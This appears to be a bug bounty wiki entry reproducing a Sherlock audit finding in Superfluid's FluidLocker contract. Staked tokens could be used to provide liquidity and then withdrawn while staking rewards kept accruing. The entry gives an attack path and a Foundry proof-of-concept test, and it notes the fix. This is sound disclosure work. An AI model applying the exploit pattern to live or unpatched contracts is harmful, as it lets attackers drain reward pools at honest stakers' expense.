Staked tokens inside FluidLocker can be withdrawn without calling Unstake
The FluidLocker contract allowed staked tokens to be used for providing liquidity because provideLiquidity did not check the available balance. An attacker could stake tokens, provide them as liquidity, and later withdraw the liquidity after the tax-free period, keeping the staked balance recorded and earning staking rewards without the tokens being present.
0x73696d616f Follow with 0xzey, Angry_Mustache_Man and 12 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2025-06-superfluid-locker-system-judging/issues/177
Found by
0x73696d616f, 0xzey, Angry_Mustache_Man, FalseGenius, JeRRy0422, globalace, illoy_sci, katz, mahdifa, molaratai, nagato, newspacexyz, redbeans, v1c7, zacwilliamson
Summary
Missing getAvailableBalance() validation in FluidLocker::provideLiquidity allows staked tokens to be withdrawn after the 6 months tax free period, without every calling FluidLocker::unstake. This means the staking rewards will accumulate despite tokens are no longer in the contract, causing a loss of integrity in the staking rewards.
Root Cause
FluidLocker::provideLiquidity does not validate against getAvailableBalance(), allowing tokens that are currently being staked to be used for provideLiquidity
Internal Pre-conditions
None
External Pre-conditions
None
Attack Path
- Locker owner calls FluidLocker::stake to stake all available tokens inside the locker.
- Locker owner calls FluidLocker::provideLiquidity to create a uniswap position with these staked tokens. Note that tokens are already transferred outside of the locker at this step.
- Locker owner calls FluidLocker::withdrawLiquidity after 6 months to trigger the tax free withdraw path. The tokens used to provide liquidity are now in Locker owner's address. However, the locker still believes they are being staked.
Impact
The staking reward points indefinitely accumulate even though the staked tokens are long gone from the contract. Since there is no upper limit on the staking amount, this leads to the loss of integrity in the staker rewards pool. People who gain "free points" will receive the vast majority shares in future staking reward distribution.
PoC
Place the following test inside FluidLockerTest contract, which is located in FluidLocker.t.sol
function testWithdrawWithoutUnstake()
external
virtual
{
uint fundingAmount = 100e18;
// Set up Alice's Locker to be functional
// i. e. not revert due to "lack of funds", "no LP pool units", "no staker pool units", etc.
_helperFundLocker(address(aliceLocker), fundingAmount);
_helperLockerStake(address(bobLocker));
_helperLockerProvideLiquidity(address(carolLocker));
vm.startPrank(ALICE);
aliceLocker.stake(fundingAmount); //Stake all avaialble tokens
aliceLocker.provideLiquidity{ value: fundingAmount / (2 * 9900) }(100e18); //Provide liquidity using the staked tokens
vm.stopPrank();
//warp forward to tax free withdrawn time
vm.warp(block.timestamp + FluidLocker(payable(address(aliceLocker))).TAX_FREE_WITHDRAW_DELAY());
//alice withdraw liquidity and closes position
uint256 positionTokenId = _nonfungiblePositionManager.tokenOfOwnerByIndex(
address(aliceLocker), FluidLocker(payable(address(aliceLocker))).activePositionCount() - 1
);
(,,,,,,, uint128 positionLiquidity,,,,) = _nonfungiblePositionManager.positions(positionTokenId);
(uint256 amount0ToRemove, uint256 amount1ToRemove) = _helperGetAmountsForLiquidity(_pool, positionLiquidity);
vm.prank(ALICE);
aliceLocker.withdrawLiquidity(positionTokenId, positionLiquidity, amount0ToRemove, amount1ToRemove);
// Check that most of contract's fluid tokens are moved to Alice's address
// Despite us never calling unstake()
assertApproxEqAbs(fundingAmount,
_fluidSuperToken.balanceOf(address(ALICE)),
fundingAmount * 5 / 100 // 5% tolerance
);
assertApproxEqAbs(0,
_fluidSuperToken.balanceOf(address(aliceLocker)),
fundingAmount * 5 / 100 // 5% tolerance
);
// Check that aliceLocker still believes that 100e18 tokens are staked inside it
assertEq(aliceLocker.getStakedBalance(), fundingAmount);
// Check that getAvailableBalance reverts because locker balance is less than staked amount
vm.expectRevert();
aliceLocker.getAvailableBalance();
}
Mitigation
Validate that the amount of tokens used to provide liquidity should never exceed getAvailableBalance()
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/superfluid-finance/fluid/pull/26
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the provideLiquidity function failed to verify that the amount being used does not exceed the available (unstaked) balance, allowing staked tokens to be spent.
Impact
Staking reward points could accumulate indefinitely even though the staked tokens are no longer in the contract, potentially giving the attacker a disproportionate share of future staking rewards.
What the attacker needed
Locker owner with staked tokens; Wait 6 months for tax-free withdrawal
The fix
The protocol team fixed this issue by validating that the amount used for providing liquidity does not exceed the available balance.
How it was found
- Locker owner calls stake to stake all available tokens.
- Locker owner calls provideLiquidity to create a Uniswap position with the staked tokens.
- After 6 months, locker owner calls withdrawLiquidity to trigger the tax-free withdraw path, receiving the tokens while the locker still records them as staked.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Staking means locking tokens in a contract to earn rewards. The contract should prevent you from using those locked tokens for something else, like providing liquidity. Here, it didn't check, so someone could lock tokens, use them elsewhere, and still get rewards as if they were locked.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.